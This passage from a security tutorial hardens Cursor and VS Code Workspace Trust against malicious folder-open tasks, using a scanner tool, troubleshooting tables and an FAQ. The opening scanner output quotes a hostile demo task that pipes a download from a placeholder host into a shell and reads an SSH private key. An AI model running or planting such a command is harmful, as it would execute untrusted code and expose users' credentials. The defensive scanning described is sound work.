"detail": "task 'setup' runs on folder open: curl -s https://example.invalid/i.sh | sh cat ~/.ssh/id_rsa [pipes a download into a shell, network fetch, touches credentials, runs a script file]",
"score": 13
},
{
"severity": "MEDIUM",
"kind": "folderOpen task",
"path": "~/trustaudit/demo/benign-app/.vscode/tasks.json",
"detail": "task 'watch' runs on folder open: npm run watch",
"score": 0
...
Across the whole demo, the tool scanned five config files and returned seven findings. Your own machine will produce a different count, and an empty report is a perfectly good result.
Trade-Offs: Restricted Mode vs Cursor’s Agent
Any honest Cursor vs VSCode comparison has to admit that hardening is not free in Cursor, and pretending otherwise would waste your time. Restricted Mode blocks tasks, limits terminals and turns off some extension features. An AI editor leans on all three. If Cursor reportedly kept trust off to protect those features, then turning it on will make some of them ask first or stop working until you trust a folder.
You have three workable policies, and each fits a different habit:
- Trust by exception. Keep trust on, choose “Trust” only for repos you wrote or reviewed, and let everything else open in Restricted Mode. This is the safest and the one the tool’s hardened block assumes.
- Trust a work folder. Put your own repos under one parent, trust that parent once, and clone unknown code somewhere else. It cuts the dialogs to near zero but carries a risk: anything you later move into that parent inherits the trust.
- Trust off, scan first. Leave trust disabled in Cursor, set
task.allowAutomaticTasksto"off", and runtrustaudit scanon every new clone before you open it. This keeps agent features smooth and moves the defense into your workflow.
A related hazard sits in command-line flags. Cursor changed workspace trust behavior and its --trust flag in July 2026, and the interactive flag now lets a workspace be trusted up front and skips the dialog, according to a 2026 tool comparison from context.dev. That is convenient in a throwaway container. It is a bad idea in a shell alias, because an alias applies the flag to every folder you ever open.
Agent safety layers do not replace trust either. In July 2025 coverage by The Register, application security analysts Mustafa Naamneh and Micah Gold said: “Cursor’s denylist cannot be relied upon.” They were describing agent command filtering in auto-run mode, a different layer from Workspace Trust, and that research is more than a year old. The lesson still carries over. A filter that sits inside the editor cannot protect you from code the editor runs before any agent speaks. Isolation, such as the workspace sandboxes in Cursor’s shadow workspace setup, complements trust and does not replace it.
Common Pitfalls
These six mistakes account for most of the “I hardened it and it still ran” reports.
- Hardening the default profile while another profile is active. Profiles carry their own
settings.json. Thesettingscommand lists every profile file, so read all of them and runharden --settings-fileagainst each one that matters. - Clicking “Trust parent folder”. That single click trusts every sibling repo too, including ones you clone next month. Trust the specific folder, or use a dedicated work parent on purpose.
- Forgetting that trust is remembered. A folder you trusted last year stays trusted. Run Workspace Trust: Manage Workspace Trust from the Command Palette to review and remove old entries before you run the canary.
- Setting
task.allowAutomaticTasksto"on"in your user settings. Someone suggests it to silence a nagging prompt. It also silences the one prompt that protects you. Leave it at"off"or"auto". - Assuming a dev container is safe because it is a container. The
initializeCommandhook runs on the host. Review it as host code. - Rewriting settings with a JSON library. You lose every comment and, on some tools, key order. The patcher in Step 9 exists to avoid that.
Troubleshooting
Ten problems come up often enough to list. Find your symptom in the left column.
| Symptom | Likely cause | Fix |
|---|---|---|
UNPARSABLE next to a settings path | A real syntax error, such as a missing comma between keys | Open the file with Preferences: Open User Settings (JSON). The editor underlines the error. Fix it and re-run. |
settings says clean, but the editor behaves differently | A different profile is active, or the settings live in a Snap or Flatpak path | Check the profile name in the editor’s Settings gear menu, and read the file path from the JSON tab title. |
python3 not found on Windows | Windows installs the launcher as py | Run py -3 trustaudit.py settings. |
| Canary ran in Cursor after you enabled trust | The canary folder is already in the trusted list | Run Workspace Trust: Manage Workspace Trust, remove the folder, restart, and try again from a new path. |
| Canary did not run in either editor | The editor showed an “allow automatic tasks” prompt and you declined, or the shell command failed | Run Tasks: Run Task and pick the canary manually to confirm the command works. Then allow it once to validate the test. |
| Canary did not run in VS Code but did in Cursor | Expected behavior if Cursor has trust off | Record both results. This is the finding the tutorial is built to produce. |
PermissionError during harden --apply | Settings file is read-only or managed by an admin policy | Check file permissions, or ask IT whether the setting is enforced centrally. |
| CI job fails on a benign task | Exit code 1 (any finding) treated as failure | Gate on exit code 2 only, as the workflow in Step 13 does. |
| Cursor agent features stopped after hardening | Restricted Mode blocks tasks and terminals in an untrusted folder | Trust the specific folder once you have reviewed it, or choose the trust-by-exception policy. |
| Scanner misses a nested repo | Depth limit of four levels, or the folder name sits in the prune list | Raise --max-depth or scan the repo path directly. |
Advanced Tips
- Allowlist known-good tasks. Add a small JSON file of approved
(path, label)pairs and skip them inscan_tasks. That silences your team’s watcher tasks while the alarm stays loud for new ones. - Hash your tasks file. Store a SHA-256 of each reviewed
tasks.jsonand flag any change. Attackers rarely rewrite a task file in place once it is merged, but a malicious pull request does exactly that. - Scan before you open. Add a shell function that runs
trustaudit.py scanon a fresh clone and prints the result, so the first thing you see aftergit cloneis the verdict. - Pair trust with sandboxed agents. If you run the VS Code agent features, the Copilot agent sandbox setup limits what an agent session can touch.
- Measure the cost. If you worry that Restricted Mode slows you down, time a real session with the numbers from our codebase benchmark of both editors before you decide.
- Extend the scoring. Add patterns for the tools your team actually uses, such as
docker run --privilegedorkubectl apply. TheRISKYlist is just data. - Export for audits. The JSON mode feeds a spreadsheet or a SIEM. Run it weekly from a scheduled job and keep the history for compliance reviews.
What We Verified and What We Could Not
Security tutorials earn trust by naming their limits. Here is where the evidence stands as of October 28, 2026.
- Tested locally: the tool itself. We ran all four commands and the five unit tests on Python 3.12.3 against sample repos and fake settings folders. The output blocks above are real runs with paths shortened.
- Not tested here: the editors. We did not open the canary in a live Cursor or VS Code window for this article, so we publish no canary result. Your machine will give you one in ten minutes.
- Cursor’s default: the Cursor security guides we reviewed describe Workspace Trust as off by default, and we found no documented change. We label it reported, not proven.
- VS Code defaults: only
security.workspace.trust.enableddefaulting to true was confirmed on a fetched documentation page. The other defaults in the tool are the standard documented values, so verify them in your Settings UI. - Recent changes: we found no confirmed change to Workspace Trust or folder-open task behavior in either editor between July and October 2026. VS Code’s October 15 modern UI post describes a redesigned interface that is on by default for the Stable rollout, with the classic UI still reachable through
workbench.experimental.modernUI. That is a visual change, not a trust change. - Pricing noise: Cursor’s plans are reportedly in transition, with community reports of a new subscription that launched around October 12. Nothing we found connects that to the trust model, so this tutorial ignores prices.
For more hands-on editor guides, browse the Software category.
Frequently Asked Questions
Cursor vs VSCode: which is safer for opening unknown repos?
Out of the box, VS Code is the safer choice because Workspace Trust is on and Restricted Mode blocks automatic tasks in untrusted folders. A hardened Cursor closes most of that gap, and the canary test tells you whether yours has. The Cursor vs VSCode difference is a default, not a hard limit.
Is Workspace Trust on by default in VS Code?
Yes. VS Code documents security.workspace.trust.enabled as true by default, and Restricted Mode applies when you decline to trust a folder.
Does Cursor run folder-open tasks without asking?
It has been reported to, because the Cursor security guides we reviewed describe Workspace Trust as off by default. We found no confirmed change to this behavior in the sources we reviewed. Run the canary from Step 12 to learn what your build does.
Which setting name controls trust in Cursor?
The same one as VS Code: security.workspace.trust.enabled. Set it to true in Cursor’s user settings and restart the editor.
Will enabling Workspace Trust break Cursor’s AI features?
Some features may ask for permission or stay limited in an untrusted folder, because Restricted Mode blocks tasks and restricts terminals. Trust a folder after you review it and the restrictions lift for that folder.
Is the canary test safe to run?
Yes. The only command it contains is a single echo that writes one word into one file inside the canary folder. Read .vscode/tasks.json yourself before you open it, which is a good habit with any repo.
Does this protect me from malicious extensions or MCP servers?
Partly. The scanner flags MCP launchers and workspace executable paths in the repo. It does not vet marketplace extensions or the packages an MCP server downloads, so review those separately.
How often should I rerun the scan?
Run it on every new clone and in CI for changes under .vscode, .cursor and .devcontainer. Rerun the settings audit after any editor reinstall, profile import or settings sync, since those can overwrite your hardened values.




